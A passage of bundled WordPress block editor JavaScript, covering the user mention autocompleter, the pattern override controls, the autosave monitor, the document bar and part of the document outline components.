    alt: "",
    src: user.avatar_urls[24]
  }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
    className: "editor-autocompleters__no-avatar"
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [avatar, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "editor-autocompleters__user-name",
      children: user.name
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "editor-autocompleters__user-slug",
      children: user.slug
    })]
  });
}

/**
 * A user mentions completer.
 *
 * @type {Object}
 */
/* harmony default export */ const user = ({
  name: 'users',
  className: 'editor-autocompleters__user',
  triggerPrefix: '@',
  useItems(filterValue) {
    const users = (0,external_wp_data_namespaceObject.useSelect)(select => {
      const {
        getUsers
      } = select(external_wp_coreData_namespaceObject.store);
      return getUsers({
        context: 'view',
        search: encodeURIComponent(filterValue)
      });
    }, [filterValue]);
    const options = (0,external_wp_element_namespaceObject.useMemo)(() => users ? users.map(user => ({
      key: `user-${user.slug}`,
      value: user,
      label: getUserLabel(user)
    })) : [], [users]);
    return [options];
  },
  getOptionCompletion(user) {
    return `@${user.slug}`;
  }
});

;// ./node_modules/@wordpress/editor/build-module/hooks/default-autocompleters.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

function setDefaultCompleters(completers = []) {
  // Provide copies so filters may directly modify them.
  completers.push({
    ...user
  });
  return completers;
}
(0,external_wp_hooks_namespaceObject.addFilter)('editor.Autocomplete.completers', 'editor/autocompleters/set-default-completers', setDefaultCompleters);

;// ./node_modules/@wordpress/editor/build-module/hooks/media-upload.js
/**
 * WordPress dependencies
 */


(0,external_wp_hooks_namespaceObject.addFilter)('editor.MediaUpload', 'core/editor/components/media-upload', () => external_wp_mediaUtils_namespaceObject.MediaUpload);

;// ./node_modules/@wordpress/editor/build-module/hooks/pattern-overrides.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



/** @typedef {import('@wordpress/blocks').WPBlockSettings} WPBlockSettings */

const {
  PatternOverridesControls,
  ResetOverridesControl,
  PatternOverridesBlockControls,
  PATTERN_TYPES: pattern_overrides_PATTERN_TYPES,
  PARTIAL_SYNCING_SUPPORTED_BLOCKS,
  PATTERN_SYNC_TYPES
} = unlock(external_wp_patterns_namespaceObject.privateApis);

/**
 * Override the default edit UI to include a new block inspector control for
 * assigning a partial syncing controls to supported blocks in the pattern editor.
 * Currently, only the `core/paragraph` block is supported.
 *
 * @param {Component} BlockEdit Original component.
 *
 * @return {Component} Wrapped component.
 */
const withPatternOverrideControls = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => props => {
  const isSupportedBlock = !!PARTIAL_SYNCING_SUPPORTED_BLOCKS[props.name];
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, {
      ...props
    }, "edit"), props.isSelected && isSupportedBlock && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ControlsWithStoreSubscription, {
      ...props
    }), isSupportedBlock && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternOverridesBlockControls, {})]
  });
}, 'withPatternOverrideControls');

// Split into a separate component to avoid a store subscription
// on every block.
function ControlsWithStoreSubscription(props) {
  const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
  const {
    hasPatternOverridesSource,
    isEditingSyncedPattern
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType,
      getEditedPostAttribute
    } = select(store_store);
    return {
      // For editing link to the site editor if the theme and user permissions support it.
      hasPatternOverridesSource: !!(0,external_wp_blocks_namespaceObject.getBlockBindingsSource)('core/pattern-overrides'),
      isEditingSyncedPattern: getCurrentPostType() === pattern_overrides_PATTERN_TYPES.user && getEditedPostAttribute('meta')?.wp_pattern_sync_status !== PATTERN_SYNC_TYPES.unsynced && getEditedPostAttribute('wp_pattern_sync_status') !== PATTERN_SYNC_TYPES.unsynced
    };
  }, []);
  const bindings = props.attributes.metadata?.bindings;
  const hasPatternBindings = !!bindings && Object.values(bindings).some(binding => binding.source === 'core/pattern-overrides');
  const shouldShowPatternOverridesControls = isEditingSyncedPattern && blockEditingMode === 'default';
  const shouldShowResetOverridesControl = !isEditingSyncedPattern && !!props.attributes.metadata?.name && blockEditingMode !== 'disabled' && hasPatternBindings;
  if (!hasPatternOverridesSource) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [shouldShowPatternOverridesControls && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternOverridesControls, {
      ...props
    }), shouldShowResetOverridesControl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResetOverridesControl, {
      ...props
    })]
  });
}
(0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockEdit', 'core/editor/with-pattern-override-controls', withPatternOverrideControls);

;// ./node_modules/@wordpress/editor/build-module/hooks/index.js
/**
 * Internal dependencies
 */





;// ./node_modules/@wordpress/editor/build-module/components/autocompleters/index.js


;// ./node_modules/@wordpress/editor/build-module/components/autosave-monitor/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */

class AutosaveMonitor extends external_wp_element_namespaceObject.Component {
  constructor(props) {
    super(props);
    this.needsAutosave = !!(props.isDirty && props.isAutosaveable);
  }
  componentDidMount() {
    if (!this.props.disableIntervalChecks) {
      this.setAutosaveTimer();
    }
  }
  componentDidUpdate(prevProps) {
    if (this.props.disableIntervalChecks) {
      if (this.props.editsReference !== prevProps.editsReference) {
        this.props.autosave();
      }
      return;
    }
    if (this.props.interval !== prevProps.interval) {
      clearTimeout(this.timerId);
      this.setAutosaveTimer();
    }
    if (!this.props.isDirty) {
      this.needsAutosave = false;
      return;
    }
    if (this.props.isAutosaving && !prevProps.isAutosaving) {
      this.needsAutosave = false;
      return;
    }
    if (this.props.editsReference !== prevProps.editsReference) {
      this.needsAutosave = true;
    }
  }
  componentWillUnmount() {
    clearTimeout(this.timerId);
  }
  setAutosaveTimer(timeout = this.props.interval * 1000) {
    this.timerId = setTimeout(() => {
      this.autosaveTimerHandler();
    }, timeout);
  }
  autosaveTimerHandler() {
    if (!this.props.isAutosaveable) {
      this.setAutosaveTimer(1000);
      return;
    }
    if (this.needsAutosave) {
      this.needsAutosave = false;
      this.props.autosave();
    }
    this.setAutosaveTimer();
  }
  render() {
    return null;
  }
}

/**
 * Monitors the changes made to the edited post and triggers autosave if necessary.
 *
 * The logic is straightforward: a check is performed every `props.interval` seconds. If any changes are detected, `props.autosave()` is called.
 * The time between the change and the autosave varies but is no larger than `props.interval` seconds. Refer to the code below for more details, such as
 * the specific way of detecting changes.
 *
 * There are two caveats:
 * * If `props.isAutosaveable` happens to be false at a time of checking for changes, the check is retried every second.
 * * The timer may be disabled by setting `props.disableIntervalChecks` to `true`. In that mode, any change will immediately trigger `props.autosave()`.
 *
 * @param {Object}   props                       - The properties passed to the component.
 * @param {Function} props.autosave              - The function to call when changes need to be saved.
 * @param {number}   props.interval              - The maximum time in seconds between an unsaved change and an autosave.
 * @param {boolean}  props.isAutosaveable        - If false, the check for changes is retried every second.
 * @param {boolean}  props.disableIntervalChecks - If true, disables the timer and any change will immediately trigger `props.autosave()`.
 * @param {boolean}  props.isDirty               - Indicates if there are unsaved changes.
 *
 * @example
 * ```jsx
 * <AutosaveMonitor interval={30000} />
 * ```
 */
/* harmony default export */ const autosave_monitor = ((0,external_wp_compose_namespaceObject.compose)([(0,external_wp_data_namespaceObject.withSelect)((select, ownProps) => {
  const {
    getReferenceByDistinctEdits
  } = select(external_wp_coreData_namespaceObject.store);
  const {
    isEditedPostDirty,
    isEditedPostAutosaveable,
    isAutosavingPost,
    getEditorSettings
  } = select(store_store);
  const {
    interval = getEditorSettings().autosaveInterval
  } = ownProps;
  return {
    editsReference: getReferenceByDistinctEdits(),
    isDirty: isEditedPostDirty(),
    isAutosaveable: isEditedPostAutosaveable(),
    isAutosaving: isAutosavingPost(),
    interval
  };
}), (0,external_wp_data_namespaceObject.withDispatch)((dispatch, ownProps) => ({
  autosave() {
    const {
      autosave = dispatch(store_store).autosave
    } = ownProps;
    autosave();
  }
}))])(AutosaveMonitor));

;// ./node_modules/@wordpress/icons/build-module/library/chevron-right-small.js
/**
 * WordPress dependencies
 */


const chevronRightSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z"
  })
});
/* harmony default export */ const chevron_right_small = (chevronRightSmall);

;// ./node_modules/@wordpress/icons/build-module/library/chevron-left-small.js
/**
 * WordPress dependencies
 */


const chevronLeftSmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z"
  })
});
/* harmony default export */ const chevron_left_small = (chevronLeftSmall);

;// external ["wp","dom"]
const external_wp_dom_namespaceObject = window["wp"]["dom"];
;// ./node_modules/@wordpress/editor/build-module/utils/pageTypeBadge.js
/**
 * WordPress dependencies
 */




/**
 * Custom hook to get the page type badge for the current post on edit site view.
 *
 * @param {number|string} postId postId of the current post being edited.
 */
function usePageTypeBadge(postId) {
  const {
    isFrontPage,
    isPostsPage
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      canUser,
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEditedEntityRecord('root', 'site') : undefined;
    const _postId = parseInt(postId, 10);
    return {
      isFrontPage: siteSettings?.page_on_front === _postId,
      isPostsPage: siteSettings?.page_for_posts === _postId
    };
  });
  if (isFrontPage) {
    return (0,external_wp_i18n_namespaceObject.__)('Homepage');
  } else if (isPostsPage) {
    return (0,external_wp_i18n_namespaceObject.__)('Posts Page');
  }
  return false;
}

;// ./node_modules/@wordpress/editor/build-module/components/document-bar/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */













/**
 * Internal dependencies
 */





/** @typedef {import("@wordpress/components").IconType} IconType */

const MotionButton = (0,external_wp_components_namespaceObject.__unstableMotion)(external_wp_components_namespaceObject.Button);

/**
 * This component renders a navigation bar at the top of the editor. It displays the title of the current document,
 * a back button (if applicable), and a command center button. It also handles different states of the document,
 * such as "not found" or "unsynced".
 *
 * @example
 * ```jsx
 * <DocumentBar />
 * ```
 * @param {Object}   props       The component props.
 * @param {string}   props.title A title for the document, defaulting to the document or
 *                               template title currently being edited.
 * @param {IconType} props.icon  An icon for the document, no default.
 *                               (A default icon indicating the document post type is no longer used.)
 *
 * @return {React.ReactNode} The rendered DocumentBar component.
 */
function DocumentBar(props) {
  const {
    postId,
    postType,
    postTypeLabel,
    documentTitle,
    isNotFound,
    templateTitle,
    onNavigateToPreviousEntityRecord,
    isTemplatePreview
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getCurrentTheme;
    const {
      getCurrentPostType,
      getCurrentPostId,
      getEditorSettings,
      getRenderingMode
    } = select(store_store);
    const {
      getEditedEntityRecord,
      getPostType,
      getCurrentTheme,
      isResolving: isResolvingSelector
    } = select(external_wp_coreData_namespaceObject.store);
    const _postType = getCurrentPostType();
    const _postId = getCurrentPostId();
    const _document = getEditedEntityRecord('postType', _postType, _postId);
    const {
      default_template_types: templateTypes = []
    } = (_getCurrentTheme = getCurrentTheme()) !== null && _getCurrentTheme !== void 0 ? _getCurrentTheme : {};
    const _templateInfo = getTemplateInfo({
      templateTypes,
      template: _document
    });
    const _postTypeLabel = getPostType(_postType)?.labels?.singular_name;
    return {
      postId: _postId,
      postType: _postType,
      postTypeLabel: _postTypeLabel,
      documentTitle: _document.title,
      isNotFound: !_document && !isResolvingSelector('getEditedEntityRecord', 'postType', _postType, _postId),
      templateTitle: _templateInfo.title,
      onNavigateToPreviousEntityRecord: getEditorSettings().onNavigateToPreviousEntityRecord,
      isTemplatePreview: getRenderingMode() === 'template-locked'
    };
  }, []);
  const {
    open: openCommandCenter
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_commands_namespaceObject.store);
  const isReducedMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
  const isTemplate = TEMPLATE_POST_TYPES.includes(postType);
  const hasBackButton = !!onNavigateToPreviousEntityRecord;
  const entityTitle = isTemplate ? templateTitle : documentTitle;
  const title = props.title || entityTitle;
  const icon = props.icon;
  const pageTypeBadge = usePageTypeBadge(postId);
  const mountedRef = (0,external_wp_element_namespaceObject.useRef)(false);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    mountedRef.current = true;
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: dist_clsx('editor-document-bar', {
      'has-back-button': hasBackButton
    }),
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, {
      children: hasBackButton && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MotionButton, {
        className: "editor-document-bar__back",
        icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_small : chevron_left_small,
        onClick: event => {
          event.stopPropagation();
          onNavigateToPreviousEntityRecord();
        },
        size: "compact",
        initial: mountedRef.current ? {
          opacity: 0,
          transform: 'translateX(15%)'
        } : false // Don't show entry animation when DocumentBar mounts.
        ,
        animate: {
          opacity: 1,
          transform: 'translateX(0%)'
        },
        exit: {
          opacity: 0,
          transform: 'translateX(15%)'
        },
        transition: isReducedMotion ? {
          duration: 0
        } : undefined,
        children: (0,external_wp_i18n_namespaceObject.__)('Back')
      })
    }), !isTemplate && isTemplatePreview && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, {
      icon: library_layout,
      className: "editor-document-bar__icon-layout"
    }), isNotFound ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      children: (0,external_wp_i18n_namespaceObject.__)('Document not found')
    }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Button, {
      className: "editor-document-bar__command",
      onClick: () => openCommandCenter(),
      size: "compact",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
        className: "editor-document-bar__title"
        // Force entry animation when the back button is added or removed.
        ,

        initial: mountedRef.current ? {
          opacity: 0,
          transform: hasBackButton ? 'translateX(15%)' : 'translateX(-15%)'
        } : false // Don't show entry animation when DocumentBar mounts.
        ,
        animate: {
          opacity: 1,
          transform: 'translateX(0%)'
        },
        transition: isReducedMotion ? {
          duration: 0
        } : undefined,
        children: [icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, {
          icon: icon
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalText, {
          size: "body",
          as: "h1",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            className: "editor-document-bar__post-title",
            children: title ? (0,external_wp_dom_namespaceObject.__unstableStripHTML)(title) : (0,external_wp_i18n_namespaceObject.__)('No title')
          }), pageTypeBadge && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            className: "editor-document-bar__post-type-label",
            children: `· ${pageTypeBadge}`
          }), postTypeLabel && !props.title && !pageTypeBadge && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            className: "editor-document-bar__post-type-label",
            children: `· ${(0,external_wp_htmlEntities_namespaceObject.decodeEntities)(postTypeLabel)}`
          })]
        })]
      }, hasBackButton), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
        className: "editor-document-bar__shortcut",
        children: external_wp_keycodes_namespaceObject.displayShortcut.primary('k')
      })]
    })]
  });
}

;// external ["wp","richText"]
const external_wp_richText_namespaceObject = window["wp"]["richText"];
;// ./node_modules/@wordpress/editor/build-module/components/document-outline/item.js
/**
 * External dependencies
 */


const TableOfContentsItem = ({
  children,
  isValid,
  isDisabled,
  level,
  href,
  onSelect
}) => {
  function handleClick(event) {
    if (isDisabled) {
      event.preventDefault();
      return;
    }
    onSelect();
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
    className: dist_clsx('document-outline__item', `is-${level.toLowerCase()}`, {
      'is-invalid': !isValid,
      'is-disabled': isDisabled
    }),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("a", {
      href: href,
      className: "document-outline__button",
      "aria-disabled": isDisabled,
      onClick: handleClick,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
        className: "document-outline__emdash",
        "aria-hidden": "true"
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {
        className: "document-outline__level",
        children: level
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
        className: "document-outline__item-content",
        children: children
      })]
    })
  });
};
/* harmony default export */ const document_outline_item = (TableOfContentsItem);

;// ./node_modules/@wordpress/editor/build-module/components/document-outline/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */



/**
 * Module constants
 */

const emptyHeadingContent = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("em", {
  children: (0,external_wp_i18n_namespaceObject.__)('(Empty heading)')
});
const incorrectLevelContent = [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}, "incorrect-break"), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("em", {
  children: (0,external_wp_i18n_namespaceObject.__)('(Incorrect heading level)')
}, "incorrect-message")];
const singleH1Headings = [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}, "incorrect-break-h1"), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("em", {
  children: (0,external_wp_i18n_namespaceObject.__)('(Your theme may already use a H1 for the post title)')
}, "incorrect-message-h1")];
const multipleH1Headings = [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}, "incorrect-break-multiple-h1"), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("em", {
  children: (0,external_wp_i18n_namespaceObject.__)('(Multiple H1 headings are not recommended)')
}, "incorrect-message-multiple-h1")];
function EmptyOutlineIllustration() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.SVG, {
    width: "138",
    height: "148",
    viewBox: "0 0 138 148",
    fill: "none",
    xmlns: "http://www.w3.org/2000/svg",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, {
      width: "138",
      height: "148",
      rx: "4",
      fill: "#F0F6FC"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Line, {
      x1: "44",
      y1: "28",
      x2: "24",
      y2: "28",
      stroke: "#DDDDDD"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, {
      x: "48",
      y: "16",
      width: "27",
      height: "23",
      rx: "4",
      fill: "#DDDDDD"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, {
      d: "M54.7585 32V23.2727H56.6037V26.8736H60.3494V23.2727H62.1903V32H60.3494V28.3949H56.6037V32H54.7585ZM67.4574 23.2727V32H65.6122V25.0241H65.5611L63.5625 26.277V24.6406L65.723 23.2727H67.4574Z",
      fill: "black"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Line, {
      x1: "55",
      y1: "59",
      x2: "24",
      y2: "59",
      stroke: "#DDDDDD"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, {
      x: "59",
      y: "47",
      width: "29",
      height: "23",
      rx: "4",
      fill: "#DDDDDD"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, {
      d: "M65.7585 63V54.2727H67.6037V57.8736H71.3494V54.2727H73.1903V63H71.3494V59.3949H67.6037V63H65.7585ZM74.6605 63V61.6705L77.767 58.794C78.0313 58.5384 78.2528 58.3082 78.4318 58.1037C78.6136 57.8991 78.7514 57.6989 78.8452 57.5028C78.9389 57.304 78.9858 57.0895 78.9858 56.8594C78.9858 56.6037 78.9276 56.3835 78.8111 56.1989C78.6946 56.0114 78.5355 55.8679 78.3338 55.7685C78.1321 55.6662 77.9034 55.6151 77.6477 55.6151C77.3807 55.6151 77.1477 55.669 76.9489 55.777C76.75 55.8849 76.5966 56.0398 76.4886 56.2415C76.3807 56.4432 76.3267 56.6832 76.3267 56.9616H74.5753C74.5753 56.3906 74.7045 55.8949 74.9631 55.4744C75.2216 55.054 75.5838 54.7287 76.0497 54.4986C76.5156 54.2685 77.0526 54.1534 77.6605 54.1534C78.2855 54.1534 78.8295 54.2642 79.2926 54.4858C79.7585 54.7045 80.1207 55.0085 80.3793 55.3977C80.6378 55.7869 80.767 56.233 80.767 56.7358C80.767 57.0653 80.7017 57.3906 80.571 57.7116C80.4432 58.0327 80.2145 58.3892 79.8849 58.7812C79.5554 59.1705 79.0909 59.6378 78.4915 60.1832L77.2173 61.4318V61.4915H80.8821V63H74.6605Z",
      fill: "black"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Line, {
      x1: "80",
      y1: "90",
      x2: "24",
      y2: "90",
      stroke: "#DDDDDD"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, {
      x: "84",
      y: "78",
      width: "30",
      height: "23",
      rx: "4",
      fill: "#F0B849"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, {
      d: "M90.7585 94V85.2727H92.6037V88.8736H96.3494V85.2727H98.1903V94H96.3494V90.3949H92.6037V94H90.7585ZM99.5284 92.4659V91.0128L103.172 85.2727H104.425V87.2841H103.683L101.386 90.919V90.9872H106.564V92.4659H99.5284ZM103.717 94V92.0227L103.751 91.3793V85.2727H105.482V94H103.717Z",
      fill: "black"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Line, {
      x1: "66",
      y1: "121",
      x2: "24",
      y2: "121",
      stroke: "#DDDDDD"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, {
      x: "70",
      y: "109",
      width: "29",
      height: "23",
      rx: "4",
      fill: "#DDDDDD"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, {
      d: "M76.7585 125V116.273H78.6037V119.874H82.3494V116.273H84.1903V125H82.3494V121.395H78.6037V125H76.7585ZM88.8864 125.119C88.25 125.119 87.6832 125.01 87.1861 124.791C86.6918 124.57 86.3011 124.266 86.0142 123.879C85.7301 123.49 85.5838 123.041 85.5753 122.533H87.4332C87.4446 122.746 87.5142 122.933 87.642 123.095C87.7727 123.254 87.946 123.378 88.1619 123.466C88.3778 123.554 88.6207 123.598 88.8906 123.598C89.1719 123.598 89.4205 123.548 89.6364 123.449C89.8523 123.349 90.0213 123.212 90.1435 123.036C90.2656 122.859 90.3267 122.656 90.3267 122.426C90.3267 122.193 90.2614 121.987 90.1307 121.808C90.0028 121.626 89.8182 121.484 89.5767 121.382C89.3381 121.28 89.054 121.229 88.7244 121.229H87.9105V119.874H88.7244C89.0028 119.874 89.2486 119.825 89.4616 119.729C89.6776 119.632 89.8452 119.499 89.9645 119.328C90.0838 119.155 90.1435 118.953 90.1435 118.723C90.1435 118.504 90.0909 118.312 89.9858 118.148C89.8835 117.98 89.7386 117.849 89.5511 117.756C89.3665 117.662 89.1506 117.615 88.9034 117.615C88.6534 117.615 88.4247 117.661 88.2173 117.751C88.0099 117.839 87.8438 117.966 87.7188 118.131C87.5938 118.295 87.527 118.489 87.5185 118.71H85.75C85.7585 118.207 85.902 117.764 86.1804 117.381C86.4588 116.997 86.8338 116.697 87.3054 116.482C87.7798 116.263 88.3153 116.153 88.9119 116.153C89.5142 116.153 90.0412 116.263 90.4929 116.482C90.9446 116.7 91.2955 116.996 91.5455 117.368C91.7983 117.737 91.9233 118.152 91.9205 118.612C91.9233 119.101 91.7713 119.509 91.4645 119.835C91.1605 120.162 90.7642 120.369 90.2756 120.457V120.526C90.9176 120.608 91.4063 120.831 91.7415 121.195C92.0795 121.555 92.2472 122.007 92.2443 122.55C92.2472 123.047 92.1037 123.489 91.8139 123.875C91.527 124.261 91.1307 124.565 90.625 124.787C90.1193 125.009 89.5398 125.119 88.8864 125.119Z",
      fill: "black"
    })]
  });
}

/**
 * Returns an array of heading blocks enhanced with the following properties:
 * level   - An integer with the heading level.
 * isEmpty - Flag indicating if the heading has no content.
 *
 * @param {?Array} blocks An array of blocks.
 *
 * @return {Array} An array of heading blocks enhanced with the properties described above.
 */
const computeOutlineHeadings = (blocks = []) => {
  return blocks.filter(block => block.name === 'core/heading').map(block => ({
    ...block,
    level: block.attributes.level,
    isEmpty: isEmptyHeading(block)
  }));
};
const isEmptyHeading = heading => !heading.attributes.content || heading.attributes.content.trim().length === 0;

/**
 * Renders a document outline component.
 *
 * @param {Object}   props                         Props.
 * @param {Function} props.onSelect                Function to be called when an outline item is selected
 * @param {boolean}  props.hasOutlineItemsDisabled Indicates whether the outline items are disabled.
 *
 * @return {React.ReactNode} The rendered component.
 */
function DocumentOutline({
  onSelect,
  hasOutlineItemsDisabled
}) {
  const {
    selectBlock
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  const {
    title,
    isTitleSupported
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _postType$supports$ti;
    const {
      getEditedPostAttribute
    } = select(store_store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    const postType = getPostType(getEditedPostAttribute('type'));
    return {
      title: getEditedPostAttribute('title'),
      isTitleSupported: (_postType$supports$ti = postType?.supports?.title) !== null && _postType$supports$ti !== void 0 ? _postType$supports$ti : false
    };
  });
  const blocks = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getClientIdsWithDescendants,
      getBlock
    } = select(external_wp_blockEditor_namespaceObject.store);
    const clientIds = getClientIdsWithDescendants();
    // Note: Don't modify data inside the `Array.map` callback,
    // all compulations should happen in `computeOutlineHeadings`.
    return clientIds.map(id => getBlock(id));
  });
  const contentBlocks = (0,external_wp_data_namespaceObject.useSelect)(select => {
    // When rendering in `post-only` mode all blocks are considered content blocks.
    if (select(store_store).getRenderingMode() === 'post-only') {
      return undefined;
    }
    const {
      getBlocksByName,
      getClientIdsOfDescendants
    } = select(external_wp_blockEditor_namespaceObject.store);
    const [postContentClientId] = getBlocksByName('core/post-content');

    // Do nothing if there's no post content block.
    if (!postContentClientId) {
      return undefined;
    }
    return getClientIdsOfDescendants(postContentClientId);
  }, []);
  const prevHeadingLevelRef = (0,external_wp_element_namespaceObject.useRef)(1);
  const headings = (0,external_wp_element_namespaceObject.useMemo)(() => computeOutlineHeadings(blocks), [blocks]);
  if (headings.length < 1) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "editor-document-outline has-no-headings",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EmptyOutlineIllustration, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        children: (0,external_wp_i18n_namespaceObject.__)('Navigate the structure of your document and address issues like empty or incorrect heading levels.')
      })]
    });
  }

  // Not great but it's the simplest way to locate the title right now.
  const titleNode = document.querySelector('.editor-post-title__input');
  const hasTitle = isTitleSupported && title && titleNode;
  const countByLevel = headings.reduce((acc, heading) => ({
    ...acc,
    [heading.level]: (acc[heading.level] || 0) + 1
  }), {});
  const hasMultipleH1 = countByLevel[1] > 1;
  function isContentBlock(clientId) {
    return Array.isArray(contentBlocks) ? contentBlocks.includes(clientId) : true;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "document-outline",
